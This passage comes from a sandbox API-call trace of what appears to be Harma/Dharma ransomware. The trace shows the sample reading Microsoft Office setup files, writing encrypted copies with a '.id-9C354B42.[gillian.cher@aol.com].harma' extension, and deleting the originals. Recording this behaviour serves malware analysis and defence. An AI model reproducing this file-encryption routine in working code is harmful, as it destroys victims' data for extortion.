(lpString=".ppt") returned 4 [0049.563] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0049.563] lstrlenW (lpString=".zip") returned 4 [0049.563] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.563] lstrlenW (lpString=".rar") returned 4 [0049.563] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.563] lstrlenW (lpString=".bz2") returned 4 [0049.563] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.563] lstrlenW (lpString=".7z") returned 3 [0049.563] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0049.563] lstrlenW (lpString=".dbf") returned 4 [0049.563] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0049.563] lstrlenW (lpString=".1cd") returned 4 [0049.563] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0049.563] lstrlenW (lpString=".jpg") returned 4 [0049.563] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.563] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0049.563] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0049.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.564] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1231) returned 1 [0049.564] CloseHandle (hObject=0x1a0) returned 1 [0049.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0049.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.564] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.564] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.566] GetLastError () returned 0x0 [0049.566] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0049.568] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0049.569] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.569] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0049.569] SetEndOfFile (hFile=0x1fc) returned 1 [0049.569] CloseHandle (hObject=0x1fc) returned 1 [0049.570] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.570] SetEndOfFile (hFile=0x1a0) returned 1 [0049.572] CloseHandle (hObject=0x1a0) returned 1 [0049.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0049.573] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0049.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.573] lstrlenW (lpString=".doc") returned 4 [0049.573] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.573] lstrlenW (lpString=".docx") returned 5 [0049.573] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.573] lstrlenW (lpString=".pdf") returned 4 [0049.573] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.573] lstrlenW (lpString=".xls") returned 4 [0049.573] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.573] lstrlenW (lpString=".xlsx") returned 5 [0049.573] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.573] lstrlenW (lpString=".ppt") returned 4 [0049.573] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.573] lstrlenW (lpString=".zip") returned 4 [0049.573] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.573] lstrlenW (lpString=".rar") returned 4 [0049.573] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.573] lstrlenW (lpString=".bz2") returned 4 [0049.574] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.574] lstrlenW (lpString=".7z") returned 3 [0049.574] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.574] lstrlenW (lpString=".dbf") returned 4 [0049.574] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.574] lstrlenW (lpString=".1cd") returned 4 [0049.574] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.574] lstrlenW (lpString=".jpg") returned 4 [0049.574] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.574] lstrlenW (lpString=".doc") returned 4 [0049.574] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.574] lstrlenW (lpString=".docx") returned 5 [0049.574] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.574] lstrlenW (lpString=".pdf") returned 4 [0049.574] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.574] lstrlenW (lpString=".xls") returned 4 [0049.574] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.574] lstrlenW (lpString=".xlsx") returned 5 [0049.574] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.574] lstrlenW (lpString=".ppt") returned 4 [0049.574] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.574] lstrlenW (lpString=".zip") returned 4 [0049.574] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.575] lstrlenW (lpString=".rar") returned 4 [0049.575] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.575] lstrlenW (lpString=".bz2") returned 4 [0049.575] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.575] lstrlenW (lpString=".7z") returned 3 [0049.575] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.575] lstrlenW (lpString=".dbf") returned 4 [0049.575] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.575] lstrlenW (lpString=".1cd") returned 4 [0049.575] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.575] lstrlenW (lpString=".jpg") returned 4 [0049.575] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.575] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0049.575] lstrlenW (lpString="SETUP.XML") returned 9 [0049.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.576] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1852) returned 1 [0049.576] CloseHandle (hObject=0x1a0) returned 1 [0049.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0049.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.576] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.576] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.579] GetLastError () returned 0x0 [0049.579] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x73c, lpOverlapped=0x0) returned 1 [0050.010] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x740, lpOverlapped=0x0) returned 1 [0050.012] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.012] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.012] SetEndOfFile (hFile=0x1fc) returned 1 [0050.012] CloseHandle (hObject=0x1fc) returned 1 [0050.013] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.013] SetEndOfFile (hFile=0x1a0) returned 1 [0050.014] CloseHandle (hObject=0x1a0) returned 1 [0050.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.015] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0050.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0050.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0050.015] lstrlenW (lpString=".doc") returned 4 [0050.015] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.015] lstrlenW (lpString=".docx") returned 5 [0050.015] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.015] lstrlenW (lpString=".pdf") returned 4 [0050.015] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.015] lstrlenW (lpString=".xls") returned 4 [0050.015] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.015] lstrlenW (lpString=".xlsx") returned 5 [0050.015] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.015] lstrlenW (lpString=".ppt") returned 4 [0050.016] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0050.016] lstrlenW (lpString=".zip") returned 4 [0050.016] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.016] lstrlenW (lpString=".rar") returned 4 [0050.016] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.016] lstrlenW (lpString=".bz2") returned 4 [0050.016] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.016] lstrlenW (lpString=".7z") returned 3 [0050.016] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0050.016] lstrlenW (lpString=".dbf") returned 4 [0050.016] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0050.016] lstrlenW (lpString=".1cd") returned 4 [0050.016] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0050.016] lstrlenW (lpString=".jpg") returned 4 [0050.016] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0050.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0050.016] lstrlenW (lpString=".doc") returned 4 [0050.016] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.016] lstrlenW (lpString=".docx") returned 5 [0050.016] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.016] lstrlenW (lpString=".pdf") returned 4 [0050.016] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.016] lstrlenW (lpString=".xls") returned 4 [0050.016] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.017] lstrlenW (lpString=".xlsx") returned 5 [0050.017] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.017] lstrlenW (lpString=".ppt") returned 4 [0050.017] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0050.017] lstrlenW (lpString=".zip") returned 4 [0050.017] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.017] lstrlenW (lpString=".rar") returned 4 [0050.017] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.017] lstrlenW (lpString=".bz2") returned 4 [0050.017] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.017] lstrlenW (lpString=".7z") returned 3 [0050.017] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0050.017] lstrlenW (lpString=".dbf") returned 4 [0050.017] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0050.017] lstrlenW (lpString=".1cd") returned 4 [0050.017] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0050.017] lstrlenW (lpString=".jpg") returned 4 [0050.017] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.017] lstrcmpiW (lpString1=".CHM", lpString2=".harma") returned -1 [0050.017] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0050.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.487] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=37689) returned 1 [0050.487] CloseHandle (hObject=0x1a0) returned 1 [0050.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0050.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.487] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.487] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0050.488] GetLastError () returned 0x0 [0050.488] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x9339, lpOverlapped=0x0) returned 1 [0050.665] WriteFile (in: hFile=0x1f4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x9340, lpOverlapped=0x0) returned 1 [0050.667] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.667] WriteFile (in: hFile=0x1f4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.667] SetEndOfFile (hFile=0x1f4) returned 1 [0050.667] CloseHandle (hObject=0x1f4) returned 1 [0050.675] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.675] SetEndOfFile (hFile=0x1a0) returned 1 [0050.676] CloseHandle (hObject=0x1a0) returned 1 [0050.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.677] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0050.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.677] lstrlenW (lpString=".doc") returned 4 [0050.677] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.677] lstrlenW (lpString=".docx") returned 5 [0050.677] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0050.677] lstrlenW (lpString=".pdf") returned 4 [0050.677] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.677] lstrlenW (lpString=".xls") returned 4 [0050.677] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.677] lstrlenW (lpString=".xlsx") returned 5 [0050.677] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0050.677] lstrlenW (lpString=".ppt") returned 4 [0050.677] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.677] lstrlenW (lpString=".zip") returned 4 [0050.677] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.677] lstrlenW (lpString=".rar") returned 4 [0050.678] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.678] lstrlenW (lpString=".bz2") returned 4 [0050.678] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.678] lstrlenW (lpString=".7z") returned 3 [0050.678] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 